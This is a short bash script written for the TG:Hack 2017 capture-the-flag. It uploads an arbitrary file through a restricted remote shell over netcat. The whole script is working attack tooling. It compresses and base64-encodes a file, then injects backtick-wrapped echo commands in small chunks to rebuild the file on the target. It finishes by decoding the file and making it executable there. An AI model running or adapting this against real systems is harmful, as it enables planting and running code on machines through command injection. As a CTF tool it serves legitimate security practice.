ncupl.sh

#!/bin/bash
# made for tghack '17
# desc: upload a file chunked through a shell with length
#       restrictions of commands. you might need to manually
#       tune the BUFLEN to stay within the limits. sh syntax
#       errors appears when you're out of bounds.
#
# todo: progress bar
#
HOST=${1}
PORT=${2}
FILE=${3}
DEST=${4:-"/tmp/$$"}

if [[ -z "$HOST" || -z "$PORT" || -z "$FILE" || -z "$DEST" ]]; then
  >&2 echo "Missing argument(s). Usage: program <host> <port> <file> [<dest>]"
  exit 2
fi

# Compress file and remove newlines to make it easy to echo
COMPRESSED="$(gzip -c $FILE | base64 | tr -d '\n')"

SIZE=${#COMPRESSED}
BUFLEN=33
INDEX=0

NETCAT="nc -q 0 $HOST $PORT"
#NETCAT="cat"

# Upload file
while [ $INDEX -le $SIZE ]; do
  SUBSTR=${COMPRESSED:$INDEX:$BUFLEN}

  # Pipe chunk through netcat and append to destination file
  # \x60 is a backtick
  printf '\x60echo \x27%b\x27>>%b\x60' "$SUBSTR" "$DEST" | $NETCAT

  INDEX=$(( $INDEX + $BUFLEN ))
done

# Decompress and make executable
printf '\x60cat %b|base64 -d|zcat>%b.sh\x60' $DEST $DEST | $NETCAT
printf '\x60chmod +x %b.sh\x60' $DEST | $NETCAT

echo "Executable at $DEST.sh"

Usage: ncupl time.tghack.no 1111 /usr/bin/ssh